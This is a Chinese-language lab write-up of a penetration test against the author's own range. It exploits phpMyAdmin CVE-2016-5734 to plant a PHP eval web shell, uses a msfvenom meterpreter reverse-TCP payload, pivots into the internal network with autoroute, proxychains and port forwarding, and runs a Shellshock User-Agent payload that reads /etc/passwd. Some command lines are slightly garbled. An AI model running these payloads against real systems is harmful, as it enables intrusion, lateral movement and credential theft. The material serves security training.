记一次靶场搭建后的***测试
拓扑:
操作环境:
操作机:
Kali
IP:172.16.5.204
Web网站:
Ubuntu14
IP:172.16.2.101
漏洞信息:
phpmyadmin4.0.x-4.6.2远程代码执行漏洞
编号:CVE-2016-5734
内网工作组:
9台Ubuntu搭建的各种漏洞
IP:192.168.147.X
介绍:内外网络经过隔离,内网只能通过web网站的机器访问(目的内网)。
***步骤:
第一站:拿下网站服务器shell
因为是测试自己搭建的靶场,所以,这里省略信息搜集等等的操作,直接对漏洞进行利用。
phpmyadmin远程代码执行漏洞简介:
编号:CVE-2016-5734
以下版本受到影响:
4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本
因为此漏洞算是一个老漏洞了,网上有很多关于此漏洞的介绍,讲的都非常的详细,小生我就不再献丑了。因为是老漏洞,exp的利用也可以在网上下载。可以直接进行命令执行。
推荐网站:https://www.exploit-db.com/,上面存在很多利用漏洞的方法。
执行python3脚本:
python3 –c “file_put_contents(‘shell.php’,’<?php eval(\$_POST[“cmd”]);?>’);” -u root -p root -d test http://172.16.2.101:8080
命令解析:
-c 指定执行的命令
-u 指定用户名
-p 指定密码
-d 指定数据库
file_put_contents()写入一个文件,这里创建名为shell.php的文件,内容为一句话
Phpmyadmin的默认用户名和密码是root。
上述截图中显示exploit failed其实是已经执行了命令。为了看到效果,我们也可以执行一个简单的命令测试一下。
执行id,可以返回用户的信息。
一句话我们已经传上去了,接下来就是通过蚁剑连接:
成功拿到shell
第二站:内网穿透,设代理环境。
设置代理能让我们成功的去访问内网,并且又能很好的隐藏自己。
在设置代理前,我们应该先去获取一个目标机的meterpreter会话。
(1)生成反弹***:
msfvenom –p linux/x86/meterpreter/reverse_tcp –f elf > 123.elf
(2)将上传到目标服务器的/tmp目录下。
通过蚁剑进行上传
上传/tmp目录的原因是因为/tmp普通用户的权限都比较高,可以更好的执行操作。
(3)meterpreter会话
给shell.elf文件可执行权限:chmod +x shell.elf
咋执行这个文件之前,需要在kali上监听
回到目标机的shell,执行文件
这里需要解释一下,我们已经通过了蚁剑拿到了shell为什么还要meterpreter会话回话呢?因为在内网中,我们会在很多地方使用MSF框架,这个框架能提供我们向内网战法数据,单纯的反弹shell或蚁剑,菜刀的shell很难实现。
(4)添加路由表
在meterpreter会话下执行:
run autoroute –s 192.168.147.0/24
如果不知道内网网段,可以通过run get_local_subnets或ifconfig查看。
(5)设置跳板
想要通过设置的路由进行访问内网还需要代理进行转发数据,这里使用socks4代理模块
先使用background命令退出回话状态。
然后向文件/etc/proxychains.conf添加新创建的socke4代理。
(6)使用proxychains执行nmap扫描内网环境
可以看到成功扫描到内网中开放80端口的两台机器。还有别的端口主机就不扫了
第三站:获取内网服务器权限
接下来就是访问以下这些扫出来的主机,(特别提示:针对你扫描的主机最好是使用某漏洞模块,或常见漏洞,MSF框架上都有相应模块,有针对性的进行。因为我这是搭建的靶场环境,仅仅测试靶场可用,所以就不在这演示。)
我这里也遇到了一些小问题,就是通过代理,浏览器访问,不能够访问到内网网站。技术原因没有找到问题所在。但是我换了个方法,依然能够实现内网。
(1)设置端口转发
使用session 1回到meterpreter回话下,执行:
portwd add –L 172.16.5.204 –l 8080 –p 80 –r 192.168.147.32
意思是将发往本机的8080端口的数据转发到192.168.147.32的80端口上
(2)对内网进行
这是当时设计的Bash ShellShock CVE-2014-6271漏洞,也是一个老的漏洞,利用方式也非常简单。
通过 Burp 截包,修改 HTTP 请求头中 UA 字段,简单测试一下命令执行:
User-Agent: () { :;};echo ; echo; echo $(/bin/cat /etc/passwd);
注意当中的空格,输入不正确的话会导致命令执行不成功
命令执行成功。拿shell同样简单,反弹,写马等等。